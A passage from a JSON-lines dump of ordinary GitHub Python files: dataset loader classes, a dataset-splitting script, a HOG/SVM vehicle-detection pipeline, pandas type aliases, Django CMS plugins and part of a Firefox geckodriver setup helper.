dataset, transform=None):\n self.original_dataset = dataset\n self.transform = transform\n\n def __getitem__(self, index):\n item = self.original_dataset[index]\n if self.transform is not None:\n item = self.transform(item)\n return item\n\n def __len__(self):\n return len(self.original_dataset)\n \n\nclass TransformLabeledDataset(Dataset):\n \"\"\"Generate new dataset by transforming an existing labeled dataset\n\n Args:\n\n dataset (Dataset): The input dataset.\n\n transform (callable): The transform that will be applied to\n each example of the input dataset.\n\n target_transform (callable): The transform that will be applied\n to the target of each example. Default to None.\n\n Returns:\n\n Dataset: A new dataset that each example will be transformed.\n\n Examples:\n\n >>> D = ArrayDataset((np.ones((3,4)), np.ones((3,))))\n >>> trans = lambda x: x * 2\n >>> trans2 = lambda x: x * 3\n >>> D = TransformLabeledDataset(D, trans, trans2)\n >>> len(D)\n 3\n >>> np.all(D[0][0] == 2)\n True\n >>> D[0][1]\n 3.0\n \"\"\"\n def __init__(self, dataset, transform, target_transform=None):\n self.original_dataset = dataset\n self.transform = transform\n self.target_transform = target_transform\n\n\n def __getitem__(self, index):\n x = self.original_dataset[index]\n assert len(x)==2, 'only works with 2-tuple data'\n x = list(x)\n x[0] = self.transform(x[0])\n x[1] = self.target_transform(x[1])\n return tuple(x)\n\n def __len__(self):\n return len(self.original_dataset)\n \n\nclass DataFileFolder(Dataset):\n \"\"\"Dataset represented as folder contains data files\n\n Args:\n\n data_path (path-like): Path to the folder.\n\n loader (callable): A function to load a sample given its path.\n files.\n\n extensions (str, Seq[str]): A list (or single) of allowed extensions.\n\n transform (callable): A transformation that will be applied to\n the loaded data\n\n recursive (bool): If True, recursives look for files. Otherwise,\n search files in the top level folder only.\n\n skip_containing_folder (bool): Whether skip the containing\n folder, i.e. the only folder without siblings in the\n archive. Default to True.\n\n See also:\n\n :class:`LabeledDataFileFolder`\n\n \"\"\"\n def __init__(self, data_path, loader, extensions, transform=None,\n recursive=False, skip_containing_folder=True):\n data_path = Path(data_path)\n if isinstance(extensions, (str,bytes)):\n extensions = [extensions]\n extensions = [x.lower() for x in extensions]\n\n if recursive:\n samples = []\n for p, _, files in os.walk(data_path):\n p = Path(p)\n samples += [p/x for x in files if any(x.lower().endswith(y) for y in extensions)]\n else:\n if skip_containing_folder:\n tmp = list(data_path.iterdir())\n while len(tmp) == 1 and tmp[0].is_dir():\n data_path = tmp[0]\n tmp = list(data_path.iterdir())\n samples = [x for x in data_path.iterdir()\n if x.suffix.lower() in extensions]\n if len(samples) == 0:\n raise RuntimeError(\n \"Found 0 files in folder: \" + str(data_path) + \"\\n\"\n \"Supported extensions are: \" + \",\".join(extensions))\n self.data_path = data_path\n self.loader = loader\n self.extensions = extensions\n self.samples = samples\n self.transform = transform\n\n def __getitem__(self, index):\n path = self.samples[index]\n sample = self.loader(path)\n if self.transform is not None:\n sample = self.transform(sample)\n return sample\n\n\n def __len__(self):\n return len(self.samples)\n\n\nclass LabeledDataFileFolder(Dataset):\n \"\"\"Labeled image dataset represented as subfolders of image files\n\n Args:\n\n data_path (path-like): Path to the folder.\n\n loader (callable): A function to load a sample given its path.\n files.\n\n extensions (str, Seq[str]): A list (or single) of allowed extensions.\n\n label_encoder (str, dict, callable): Method to encode raw labels\n (i.e. subfolder names) into integers. Possible values could\n be:\n \n * 'none' or None: No encoding will be performed, the raw str\n labels will be returned.\n\n * 'index': Encode labels as indices to the whole label\n set. Note that the ordering of labels in the label set might\n be implementation dependent.\n\n * A dictionary D that will map a label L to integer D[L].\n\n * A callable func that will map a label L to integer func(L).\n\n * A sklearn.LabelEncoder enc that will map a label L to\n integer enc.transform(L).\n\n transform (callable): A transformation that will be applied to\n the loaded data\n\n target_transform (callable): A transformation that will be\n applied to the target values (labels) whose values initially\n are integers.\n\n skip_containing_folder (bool): Whether skip the containing\n folder, i.e. the only folder without siblings in the\n archive. Default to True.\n\n category_recursive (bool): Whether recursively search for files\n for each category in subfolders. Default to False.\n\n category_skip_containing_folder (bool): Whether skip the\n containing folder when searching for data files for each\n category. If None, use the same value as\n skip_containing_folder. Default to None.\n\n\n See also:\n\n :class:`DataFileFolder`\n\n \"\"\"\n \n def __init__(self, data_path, loader, extensions,\n label_encoder='index',\n transform=None, target_transform=None,\n skip_containing_folder=True,\n category_recursive=False,\n category_skip_containing_folder=None):\n data_path = Path(data_path)\n if isinstance(extensions, (str, bytes)):\n extensions = [extensions]\n if category_skip_containing_folder is None:\n category_skip_containing_folder = skip_containing_folder\n \n subfolders = [x for x in data_path.iterdir() if x.is_dir()]\n if skip_containing_folder:\n pre_subfolders = subfolders\n while len(subfolders) == 1:\n pre_subfolders = subfolders\n subfolders = [x for x in subfolders[0].iterdir()\n if x.is_dir()]\n subfolders = subfolders if len(subfolders)>0 else pre_subfolders\n \n labels = [x.name for x in subfolders]\n samples = [DataFileFolder(\n subfolder, loader, extensions,\n transform=transform,\n recursive=category_recursive,\n skip_containing_folder=category_skip_containing_folder)\n for subfolder in subfolders]\n nsamples = [len(x) for x in samples]\n cum_n = list(itertools.accumulate(nsamples))\n\n self.data_path = data_path\n self.loader = loader\n self.extensions = extensions\n self.labels = labels\n self.samples = samples\n self.cum_n = cum_n\n self.transform = transform\n self.target_transform = target_transform\n \n if (label_encoder is None or isinstance(label_encoder, str)\n and label_encoder.lower() == 'none'):\n self.label_encoder = None\n elif (isinstance(label_encoder, str) and\n label_encoder.lower() == 'index'):\n self.label_encoder = {y: i for i, y in enumerate(labels)}\n else:\n self.label_encoder = label_encoder\n\n\n def _encode_label(self, label):\n if self.label_encoder is None:\n pass\n elif isinstance(self.label_encoder, collections.abc.Mapping):\n label = self.label_encoder[label]\n elif callable(self.label_encoder):\n label = self.label_encoder(label)\n else:\n assert hasattr(self.label_encoder, 'transform')\n label = self.label_encoder.transform([label])[0]\n return label\n\n\n def __getitem__(self, index):\n index1 = bisect.bisect_right(self.cum_n, index)\n index2 = index - (self.cum_n[index1-1] if index1>0 else 0)\n sample = self.samples[index1][index2]\n label = self._encode_label(self.labels[index1])\n if self.transform is not None:\n sample = self.transform(sample)\n if self.target_transform is not None:\n label = self.target_transform(label)\n return sample, label\n \n\n def __len__(self):\n return self.cum_n[-1]\n\n\nclass DataFileArchive(Dataset):\n \"\"\"Dataset stored in an archive file\n\n Args:\n\n data_path (file-like): Path to or file object of the archive\n file.\n\n loader (callable): A function to load a sample given its path.\n files.\n\n extensions (str, Seq[str]): A list (or single) of allowed extensions.\n\n transform (callable): A transformation that will be applied to\n the loaded data\n\n recursive (bool): Whether recursively search files in\n folders. Default to False.\n\n skip_containing_folder (bool): Whether skip the containing\n folder, i.e. the only folder without siblings in the\n archive. Default to True.\n\n engine (arlib.Archive): The *engine* argument passed to the\n arlib.open function. Default to None.\n\n cache_archive_obj (bool): Whether open the dataset archive file\n at the construction point and cache the arlib.Archive object\n for later use. Otherwise, the archive file obj will be closed\n after initialization and will be opened each time the\n __getitem__ method is called. Default to True.\n\n See also:\n\n :class:`DataFileFolder`\n\n \"\"\"\n def __init__(self, data_path, loader, extensions, transform=None,\n recursive=False, skip_containing_folder=True,\n engine=None, cache_archive_obj=True):\n if isinstance(extensions, (str, bytes)):\n extensions = [extensions]\n extensions = [x.lower() for x in extensions]\n\n self.data_path = data_path\n self.loader = loader\n self.extensions = extensions\n self.transform = transform\n self.recursive = recursive\n self.skip_containing_folder = skip_containing_folder\n self.engine = engine\n self.cache_archive_obj = cache_archive_obj\n self._prepare()\n if not cache_archive_obj:\n self.close_archive()\n\n def _prepare(self):\n self.archive = arlib.open(self.data_path, engine=self.engine)\n ar = self.archive\n extensions = self.extensions\n fnames = ar.member_names\n if not self.recursive:\n if self.skip_containing_folder:\n dirs = [x for x in fnames if ar.member_is_dir(x)]\n prefix = os.path.commonprefix(dirs)\n while (prefix.endswith('/') and prefix in fnames and\n all(x.startswith(prefix) for x in fnames)):\n assert ar.member_is_dir(prefix)\n fnames.remove(prefix)\n dirs.remove(prefix)\n prefix = os.path.commonprefix(dirs)\n dirs = [x for x in fnames if ar.member_is_dir(x)]\n fnames = [x for x in fnames\n if not any(x.startswith(y) for y in dirs)]\n fnames = [x for x in fnames\n if (ar.member_is_file(x) and\n any(x.lower().endswith(y) for y in extensions))]\n if len(fnames) == 0:\n raise RuntimeError(\n 'Found 0 files in archive:'+str(self.data_path)+'\\n'\n 'Supported extensions are:'+','.join(extensions))\n self.fnames = fnames\n \n def close_archive(self):\n if self.archive is not None:\n self.archive.close()\n self.archive = None\n \n \n def __getitem__(self, index):\n if self.archive is None:\n self._prepare()\n name = self.fnames[index]\n sample = self.loader(self.archive.open_member(name, 'rb'))\n if self.transform is not None:\n sample = self.transform(sample)\n\n if not self.cache_archive_obj:\n self.close_archive()\n \n return sample\n\n def __len__(self):\n return len(self.fnames)\n\n\nclass LabeledDataFileArchive(Dataset):\n \"\"\"Labeled data files stored in an archive file\n\n Args:\n\n data_path (path-like): Path to the archive file.\n\n loader (callable): A function to load a sample given its path.\n files.\n\n extensions (str, Seq[str]): A list (or single) of allowed extensions.\n\n label_encoder (str, dict, callable): Method to encode raw labels\n into integers. Possible values could be:\n \n * 'none' or None: No encoding will be performed, the raw str\n labels will be returned.\n\n * 'index': Encode labels as indices to the whole label\n set. Note that the ordering of labels in the label set might\n be implementation dependent.\n\n * A dictionary D that will map a label L to integer D[L].\n\n * A callable func that will map a label L to integer func(L).\n\n * A sklearn.LabelEncoder enc that will map a label L to\n integer enc.transform(L).\n\n transform (callable): A transformation that will be applied to\n the loaded data\n\n target_transform (callable): A transformation that will be\n applied to the target values (labels) whose values initially\n are integers.\n\n member_archives_as_categories (bool): Whether use member archive\n (i.e. archive file in the dataset archive file) as\n categories. Default to True. If False, only member folders\n will be considered as categories.\n\n label_ignore_member_archive_suffix (bool): Whether ignore the\n suffix of member archive name in labels. For example, samples\n in xyz.abc will be labeled 'xyz' instead of 'xyz.abc'. Default\n to True.\n\n skip_containing_folder (bool): Whether skip the containing\n folder (which is the only folder without siblings) when\n searching for member folder or member archive as categories,\n . Default to True.\n\n category_recursive (bool): Whether recursively search for files\n for each category in a member folder or member\n archive. Default to False.\n\n category_skip_containing_folder (bool): Whether skip the\n containing folder when search data file from member archive or\n member folder. If None, use same value as\n skip_containing_folder. Default to None.\n\n cache_archive_obj (bool): Whether open the dataset archive file\n at the construction point and cache the arlib.Archive object\n for later use. Otherwise, the archive file obj will be closed\n after initialization and will be opened each time the\n __getitem__ method is called. Default to True.\n\n \"\"\"\n def __init__(self, data_path, loader, extensions,\n label_encoder='index',\n transform=None, target_transform=None, \n member_archives_as_categories=True,\n label_ignoare_member_archive_suffix=True,\n skip_containing_folder=True,\n category_recursive=False,\n category_skip_containing_folder=None,\n engine=None, \n cache_archive_obj=True):\n \n if isinstance(extensions, (str, bytes)):\n extensions = [extensions]\n extensions = [x.lower() for x in extensions]\n if category_skip_containing_folder is None:\n category_skip_containing_folder = skip_containing_folder\n self.data_path = data_path\n self.loader = loader\n self.extensions = extensions\n self.transform = transform\n self.target_transform = target_transform\n self.member_archives_as_categories = member_archives_as_categories\n self.label_ignore_member_archive_suffix = label_ignoare_member_archive_suffix\n self.skip_containing_folder = skip_containing_folder\n self.category_recursive = category_recursive\n self.category_skip_containing_folder =category_skip_containing_folder\n self.engine = engine\n self.cache_archive_obj = cache_archive_obj\n self._prepare()\n if not cache_archive_obj:\n self.close_archive()\n \n if (label_encoder is None or isinstance(label_encoder, str)\n and label_encoder.lower() == 'none'):\n self.label_encoder = None\n elif (isinstance(label_encoder, str) and\n label_encoder.lower() == 'index'):\n self.label_encoder = {y: i for i, y in enumerate(self.labels)}\n else:\n self.label_encoder = label_encoder\n\n \n def _prepare(self):\n self.archive = arlib.open(self.data_path, engine=self.engine)\n ar = self.archive\n fnames = ar.member_names\n extensions = self.extensions\n if self.skip_containing_folder:\n pre_fnames = fnames\n dirs = [x for x in fnames if ar.member_is_dir(x)]\n prefix = os.path.commonprefix(dirs)\n level = 1\n while (prefix.endswith('/') and prefix in fnames and\n all(x.startswith(prefix) for x in fnames)):\n assert ar.member_is_dir(prefix)\n pre_fnames = fnames\n fnames.remove(prefix)\n dirs.remove(prefix)\n level += 1\n prefix = os.path.commonprefix(dirs)\n dirs = [x for x in dirs if len(x.split('/')) == level+1]\n fnames = pre_fnames\n\n ars = [] # list of list [name, engine]\n if self.member_archives_as_categories:\n for x in fnames:\n if ar.member_is_file(x) and len(x.split('/')) == level:\n engine = arlib.auto_engine(ar.open_member(x, 'rb'), 'r')\n if engine is None:\n # try determine engine by name\n engine = arlib.auto_engine(x, 'w')\n if engine is not None:\n ars.append([x, engine])\n\n samples = dict()\n for d in dirs:\n if self.category_recursive:\n names = [x for x in fnames if x.startswith(d)]\n else:\n if self.category_skip_containing_folder:\n pred = lambda x: (\n x.startswith(d) and\n (x.endswith('/') and\n len(x.split('/'))==len(d.split('/'))+1 or\n not x.endswith('/') and\n len(x.split('/'))==len(d.split('/'))))\n names_all = [x for x in fnames if pred(x)]\n while len(names_all) == 1 and names_all[0].endswith('/'):\n d = names_all[0]\n names_all = [x for x in fnames if pred(x)]\n\n names = [x for x in fnames if x.startswith(d) and\n len(x.split('/')) == len(d.split('/'))]\n names = [x for x in names\n if any(x.endswith(y) for y in extensions)]\n d = d.split('/')[-2]\n assert d not in samples\n samples[d] = names\n\n self.mem_ars = dict()\n for fname, engine in ars:\n name = fname.split('/')[-1]\n if self.label_ignore_member_archive_suffix:\n name = name.split('.')[0]\n assert name not in samples\n samples[name] = DataFileArchive(\n ar.open_member(fname, 'rb'), loader=self.loader,\n extensions=extensions, transform=self.transform,\n recursive=self.category_recursive,\n skip_containing_folder=self.category_skip_containing_folder,\n engine=engine)\n \n labels = list(samples.keys())\n samples = [samples[x] for x in labels]\n nsamples = [len(x) for x in samples]\n cum_n = list(itertools.accumulate(nsamples))\n self.labels = labels\n self.samples = samples\n self.cum_n = cum_n\n if self.cum_n[-1] == 0: #pragma no cover\n raise RuntimeError('No data file was found in: '+\n str(self.data_path))\n\n def _encode_label(self, label):\n if self.label_encoder is None:\n pass\n elif isinstance(self.label_encoder, collections.abc.Mapping):\n label = self.label_encoder[label]\n elif callable(self.label_encoder):\n label = self.label_encoder(label)\n else:\n assert hasattr(self.label_encoder, 'transform')\n label = self.label_encoder.transform([label])[0]\n return label\n \n \n def close_archive(self):\n self.archive.close()\n self.archive = None\n\n def __len__(self):\n return self.cum_n[-1]\n \n \n def __getitem__(self, index):\n index = bisect.bisect_right(self.cum_n, index)\n index2 = index - (self.cum_n[index-1] if index>0 else 0)\n if self.archive is None:\n self._prepare()\n sub_ar = self.samples[index]\n if isinstance(sub_ar, (list, tuple)):\n sample=self.loader(self.archive.open_member(sub_ar[index2],'rb'))\n else:\n assert isinstance(sub_ar, DataFileArchive)\n sample = sub_ar[index2]\n \n if not self.cache_archive_obj:\n self.close_archive()\n\n label = self._encode_label(self.labels[index])\n if self.transform is not None:\n sample = self.transform(sample)\n if self.target_transform is not None:\n label = self.target_transform(label)\n return sample, label\n","repo_name":"hithisisdhara/expr-tf-EGNN","sub_path":"awesomeml/datasets/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":36045,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"20"} +{"seq_id":"25397479283","text":"import random\r\nimport glob\r\nimport os\r\nimport shutil\r\nimport argparse\r\n\r\n\r\ndef copyfiles(fil, root_dir, image_dir, label_dir):\r\n basename = os.path.basename(fil)\r\n filename = os.path.splitext(basename)[0]\r\n\r\n # copy image\r\n src = fil\r\n dest = os.path.join(root_dir, image_dir, f\"{filename}.jpg\")\r\n shutil.copyfile(src, dest)\r\n\r\n # copy annotations\r\n src = os.path.join(label_dir, f\"{filename}.txt\")\r\n dest = os.path.join(root_dir, label_dir, f\"{filename}.txt\")\r\n if os.path.exists(src):\r\n shutil.copyfile(src, dest)\r\n\r\ndef main(args):\r\n \r\n image_dir = args.image_dir\r\n label_dir = args.label_dir\r\n train_part = args.train_ratio\r\n\r\n valid_part = args.valid_ratio\r\n test_part = args.test_ratio\r\n\r\n lower_limit = 0\r\n files = glob.glob(os.path.join(image_dir, '*.jpg'))\r\n\r\n random.shuffle(files)\r\n\r\n folders = {\"train\": train_part, \"val\": valid_part, \"test\": test_part}\r\n check_sum = sum([folders[x] for x in folders])\r\n\r\n assert check_sum == 1.0, \"Split proportion is not equal to 1.0\"\r\n\r\n for folder in folders:\r\n os.mkdir(folder)\r\n temp_label_dir = os.path.join(folder, label_dir)\r\n os.mkdir(temp_label_dir)\r\n temp_image_dir = os.path.join(folder, image_dir)\r\n os.mkdir(temp_image_dir)\r\n\r\n limit = round(len(files) * folders[folder])\r\n for fil in files[lower_limit:lower_limit + limit]:\r\n copyfiles(fil, folder, image_dir, label_dir)\r\n lower_limit = lower_limit + limit\r\n\r\ndef parse_args():\r\n description = \\\r\n '''\r\n This script can be used to split yolo type dataset\r\n Usage:\r\n python3 vsplit_dataset.py \r\n -i /fullpath/to/images/dir -l /fullpath/to/textlabels/dir\r\n \r\n '''\r\n parser = argparse.ArgumentParser(description=description)\r\n parser.add_argument('-i', '--image_dir', action='store', help='absolute path to the image directory', required=True)\r\n parser.add_argument('-l', '--label_dir', action='store', help='absolute path to label directory', required=True)\r\n parser.add_argument('-t', '--train_ratio', action='store', help='training dataset ratio', type=float, default=0.85, required=False)\r\n parser.add_argument('-v', '--valid_ratio', action='store', help='training dataset ratio', type=float, default=0.1, required=False)\r\n parser.add_argument('-x', '--test_ratio', action='store', help='training dataset ratio', type=float, default=0.05, required=False)\r\n \r\n args = parser.parse_args()\r\n return args\r\n\r\n\r\nif __name__ == '__main__':\r\n args = parse_args()\r\n main(args)","repo_name":"SourcM/voc-to-yolo","sub_path":"split_dataset.py","file_name":"split_dataset.py","file_ext":"py","file_size_in_byte":2591,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"39614064719","text":"import glob\nfrom time import time\n\nfrom scipy.ndimage.measurements import label\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.svm import LinearSVC\nfrom time import time\nfrom feature_functions import *\n\nstar_time = time()\n\n# Read in cars and notcars\ncars = glob.glob('dataset/vehicles/*/**.png', recursive=True)\nnotcars = glob.glob('dataset/non-vehicles/*/**.png', recursive=True)\n\n# Feature Parameters\ncolor_space = 'YCrCb' # Can be RGB, HSV, LUV, HLS, YUV, YCrCb\norient = 9 # HOG orientations\npix_per_cell = 8 # HOG pixels per cell\ncell_per_block = 2 # HOG cells per block\nhog_channel = 'ALL' # Can be 0, 1, 2, or \"ALL\"\nspatial_size = (32, 32) # Spatial binning dimensions\nhist_bins = 32 # Number of histogram bins\nspatial_feat = True # Spatial features on or off\nhist_feat = True # Histogram features on or off\nhog_feat = True # HOG features on or off\n\ncar_features = extract_features(cars, color_space=color_space,\n spatial_size=spatial_size, hist_bins=hist_bins,\n orient=orient, pix_per_cell=pix_per_cell,\n cell_per_block=cell_per_block,\n hog_channel=hog_channel, spatial_feat=spatial_feat,\n hist_feat=hist_feat, hog_feat=hog_feat)\nnotcar_features = extract_features(notcars, color_space=color_space,\n spatial_size=spatial_size, hist_bins=hist_bins,\n orient=orient, pix_per_cell=pix_per_cell,\n cell_per_block=cell_per_block,\n hog_channel=hog_channel, spatial_feat=spatial_feat,\n hist_feat=hist_feat, hog_feat=hog_feat)\n\nX = np.vstack((car_features, notcar_features)).astype(np.float64)\n# Fit a per-column scaler\nX_scaler = StandardScaler().fit(X)\n# Apply the scaler to X\nscaled_X = X_scaler.transform(X)\n\n# Define the labels vector\ny = np.hstack((np.ones(len(car_features)), np.zeros(len(notcar_features))))\n\n# Split up data into randomized training and test sets\nrand_state = np.random.randint(0, 100)\nX_train, X_test, y_train, y_test = train_test_split(\n scaled_X, y, test_size=0.2, random_state=rand_state)\n\nprint('Using:', orient, 'orientations', pix_per_cell,\n 'pixels per cell and', cell_per_block, 'cells per block')\nprint('Feature vector length:', len(X_train[0]))\n# Use a linear SVC\nsvc = LinearSVC()\n# Check the training time for the SVC\nt = time()\nsvc.fit(X_train, y_train)\nt2 = time()\nprint(round(t2 - t, 2), 'Seconds to train SVC...')\n# Check the score of the SVC\nprint('Test Accuracy of SVC = ', round(svc.score(X_test, y_test), 4))\n# Check the prediction time for a single sample\n#\n\n\n# # Use a random forest\n# t = time()\n# rf = RandomForestClassifier(n_estimators=50)\n# rf.fit(X_train,y_train)\n# t2 = time()\n# print(round(t2 - t, 2), 'Seconds to train RF...')\n# # Check the score of the SVC\n# print('Test Accuracy of RF = ', round(rf.score(X_test, y_test), 4))\n#\n#\n# Box using sliding window\n\n# Testing on images\n#Uncomment to test on images\n\ntest_images = glob.glob('test_images/*.jpg')\nimages = []\ntitles = []\ny_start_stop = [400, 656] # Min and max in y to search in slide_window()\nover_lap =0.5\n#\n# for image in test_images:\n#\n# t = time()\n# img = mpimg.imread(image)\n# draw_image = np.copy(img)\n# img = img.astype(np.float32)/255 # image trained is .png 0 to 1, image searched is 0 to 255\n# heat = np.zeros_like(img[:, :, 0]).astype(np.float)\n#\n# window1 = slide_window(img, x_start_stop=[None, None], y_start_stop=y_start_stop,\n# xy_window=(64, 64), xy_overlap=(over_lap, over_lap))\n#\n# window2 = slide_window(img, x_start_stop=[None, None], y_start_stop=y_start_stop,\n# xy_window=(96, 96), xy_overlap=(over_lap, over_lap))\n# window3 = slide_window(img, x_start_stop=[None, None], y_start_stop=y_start_stop,\n# xy_window=(128, 128), xy_overlap=(over_lap, over_lap))\n#\n# windows = window1 + window3 + window2\n#\n# hot_windows = search_windows(img, windows, svc, X_scaler, color_space=color_space,\n# spatial_size=spatial_size, hist_bins=hist_bins,\n# orient=orient, pix_per_cell=pix_per_cell,\n# cell_per_block=cell_per_block,\n# hog_channel=hog_channel, spatial_feat=spatial_feat,\n# hist_feat=hist_feat, hog_feat=hog_feat)\n# heat_img = add_heat(heat,hot_windows)\n# heat_img1 = apply_threshold(heat_img,0)\n# heatmap = np.clip(heat_img1, 0, 255)\n# labels = label(heatmap)\n# window_img = draw_labeled_bboxes(np.copy(draw_image), labels)\n# window_img = draw_boxes(draw_image, windows, color=(0, 0, 255), thick=6)\n# images.append(window_img)\n# images.append(heatmap)\n# titles.append(\" \")\n# titles.append(\" \")\n# print(time()-t, \" seconds to process one image with \", len(windows), \" windows\")\n\nfig = plt.figure(figsize=(12,18))\n\nvisualize(fig, 3,2,images, titles)\n\n\n### funciton generation for video ####\nfrom car_tracker import HeatTracker\n\ncar_ind = np.random.randint(0, len(cars))\ncar_image = mpimg.imread(cars[car_ind])\n\nalpha = HeatTracker(image=car_image, mysmoothover=25)\n\n\ndef find_vehicles(img):\n # t = time()\n # img = mpimg.imread(image)\n draw_image = np.copy(img)\n img = img.astype(np.float32) / 255 # image trained is .png 0 to 1, image searched is 0 to 255\n heat = np.zeros_like(img[:, :, 0]).astype(np.float)\n\n window1 = slide_window(img, x_start_stop=[None, None], y_start_stop=[400, 656],\n xy_window=(64, 64), xy_overlap=(0.5, 0.5))\n\n window2 = slide_window(img, x_start_stop=[None, None], y_start_stop=[400, 656],\n xy_window=(96, 96), xy_overlap=(0.5, 0.5))\n window3 = slide_window(img, x_start_stop=[None, None], y_start_stop=[400, 656],\n xy_window=(128, 128), xy_overlap=(0.5, 0.5))\n\n windows = window1 + window2 + window3\n\n hot_windows = search_windows(img, windows, svc, X_scaler, color_space=color_space,\n spatial_size=spatial_size, hist_bins=hist_bins,\n orient=orient, pix_per_cell=pix_per_cell,\n cell_per_block=cell_per_block,\n hog_channel=hog_channel, spatial_feat=spatial_feat,\n hist_feat=hist_feat, hog_feat=hog_feat)\n heat_img = add_heat(heat, hot_windows)\n heat_image_sum = alpha.avg_heat(heat_img)\n heat_img1 = apply_threshold(heat_image_sum, 8)\n heatmap = np.clip(heat_img1, 0, 255)\n labels = label(heatmap)\n window_img = draw_labeled_bboxes(draw_image, labels)\n # window_img = draw_boxes(draw_image, hot_windows, color=(0, 0, 255), thick=6)\n return window_img\n\n\nfrom moviepy.editor import VideoFileClip\n\ntest_out = \"heat_avg_smooth25_thesh8.mp4\"\n\nclip = VideoFileClip(\"project_video.mp4\")\n\ntest_clip = clip.fl_image(find_vehicles)\n\ntest_clip.write_videofile(test_out, audio=False)\n","repo_name":"kaswani29/Vehicle-Detection","sub_path":"vehicle_detection_pipeline.py","file_name":"vehicle_detection_pipeline.py","file_ext":"py","file_size_in_byte":7263,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"6564498936","text":"from __future__ import annotations\n\nimport datetime\nfrom typing import Any, Callable, Literal, Union\n\nimport numpy as np # pyright: ignore[reportMissingImports]\nimport pandas as pd # pyright: ignore[reportMissingImports]\nimport pandas.core.groupby.generic as pg # pyright: ignore[reportMissingImports]\n\nValue = Any\nValues = list[Value]\nOldValue = Value\nNewValue = Value\nColumn = str\nColumns = list[Column]\nLazyColumns = Union[Column, Columns]\nOldColumn = Column\nNewColumn = Column\nDirection = Literal[\"up\", \"down\"]\nFunc = Callable[..., Any]\nJoin = Literal[\"left\", \"right\", \"inner\", \"full\"]\nNumpyArray = np.ndarray\nNumpyType = np.dtype\nPandasDataFrame = pd.DataFrame\nPandasGroupedFrame = pg.DataFrameGroupBy\nPandasIndex = pd.Index\nPandasRangeIndex = pd.RangeIndex\nDateTime = datetime.datetime\n","repo_name":"maxhumber/redframes","sub_path":"redframes/types.py","file_name":"types.py","file_ext":"py","file_size_in_byte":795,"program_lang":"python","lang":"en","doc_type":"code","stars":294,"dataset":"github-code","pt":"20"} +{"seq_id":"11970452055","text":"from cms.plugin_base import CMSPluginBase\r\nfrom cms.plugin_pool import plugin_pool\r\nfrom django.contrib import admin\r\nfrom django.utils.translation import gettext_lazy as _\r\n\r\n\r\nfrom .models import (\r\n USWDSGraphicGrid,\r\n USWDSGraphicCard,\r\n)\r\n\r\n@plugin_pool.register_plugin\r\nclass USWDSGraphicCardPlugin(CMSPluginBase):\r\n allow_children = False\r\n module = _(\"Cards\")\r\n name = _(\"Graphic card\")\r\n require_parent = True\r\n model = USWDSGraphicCard\r\n\r\n change_form_template = \"uswds/admin/change_form/admin-card-tabs.html\"\r\n\r\n content = (\r\n _('Content'),\r\n {\r\n 'fields': (\r\n 'image',\r\n 'title',\r\n 'text',\r\n )\r\n }\r\n )\r\n\r\n fieldsets = (\r\n content,\r\n )\r\n\r\n def get_render_template(self, context, instance, placeholder):\r\n return f'uswds/content/graphic-list/uswds-graphic-card.html'\r\n\r\n def __unicode__(self):\r\n return self.name\r\n\r\n\r\n@plugin_pool.register_plugin\r\nclass USWDSGraphicGridPlugin(CMSPluginBase):\r\n name = _(\"Graphic grid\")\r\n model = USWDSGraphicGrid\r\n module = _(\"Graphic list\")\r\n allow_children = True\r\n render_template = 'uswds/content/graphic-list/uswds-graphic-grid.html'\r\n child_classes = ['USWDSGraphicCardPlugin']\r\n\r\n def render(self, context, instance, placeholder):\r\n context = super(USWDSGraphicGridPlugin, self).render(context, instance, placeholder)\r\n return context","repo_name":"jefffortune/uswds-django-cms","sub_path":"app/uswds/contrib/content/uswds_graphic_list/cms_plugins.py","file_name":"cms_plugins.py","file_ext":"py","file_size_in_byte":1471,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"11084392958","text":"from selenium import webdriver\r\nfrom selenium.webdriver.common.desired_capabilities import DesiredCapabilities\r\nimport platform\r\nimport bs4 as BeautifulSoup\r\nimport os\r\nimport sys\r\nimport zipfile\r\nimport tarfile\r\nimport io\r\n\r\nclass FirefoxWebDriver:\r\n\r\n def __init__(self, desktopUA, mobileUA):\r\n self.desktopUA = desktopUA\r\n self.mobileUA = mobileUA\r\n self.driverURL = \"https://github.com/mozilla/geckodriver/releases/latest\"\r\n self.githubUrl = \"https://github.com\"\r\n self.mobileRunning = False\r\n self.desktopRunning = False\r\n self.getWebdriverURL(self.driverURL)\r\n self.driverBinary = None\r\n \r\n if platform.system() == \"Windows\":\r\n profilesDir = os.path.join(os.getenv('APPDATA') , \"Mozilla\", \"Firefox\", \"Profiles\")\r\n self.getDefaultProfile(profilesDir)\r\n \r\n self.downloadsDir = os.path.join(os.getenv('HOMEPATH'),\"Downloads\")\r\n \r\n self.checkIfGeckoDriverAlreadyExists()\r\n self.getGeckoDriver_zip(self.windowsURL)\r\n \r\n elif platform.system() == \"Darwin\":\r\n #Mac\r\n profilesDir = os.path.join(os.environ['HOME'], \"Library\", \"Application Support\", \"Firefox\", \"Profiles\")\r\n self.getDefaultProfile(profilesDir)\r\n \r\n self.downloadsDir = os.path.join(os.getenv('HOME'),\"Downloads\")\r\n \r\n self.checkIfGeckoDriverAlreadyExists()\r\n self.getGeckoDriver_tar_gz(self.macURL)\r\n \r\n for file in os.listdir(self.downloadsDir):\r\n if (file.startswith(\"geckodriver\")) and (not file.endswith(\".zip\")) and (not file.endswith(\".gz\")) and (not file.endswith(\".log\")) and os.path.isfile(os.path.join(self.downloadsDir, file)):\r\n self.driverBinary = os.path.join(self.downloadsDir, file)\r\n os.chmod(self.driverBinary, 0o777)\r\n \r\n def getDefaultProfile(self, profileDir):\r\n for file in os.listdir(profileDir):\r\n if file.endswith(\".default\"):\r\n self.ffProfileDir = os.path.join(profileDir, file)\r\n return\r\n \r\n raise (\"Unable to find default firefox profile directory\")\r\n\r\n def checkIfGeckoDriverAlreadyExists(self):\r\n for file in os.listdir(self.downloadsDir):\r\n if (file.startswith(\"geckodriver\")) and (not file.endswith(\".zip\")) and (not file.endswith(\".gz\")) and (not file.endswith(\".log\")) and os.path.isfile(os.path.join(self.downloadsDir, file)):\r\n os.remove(os.path.join(self.downloadsDir, file))\r\n 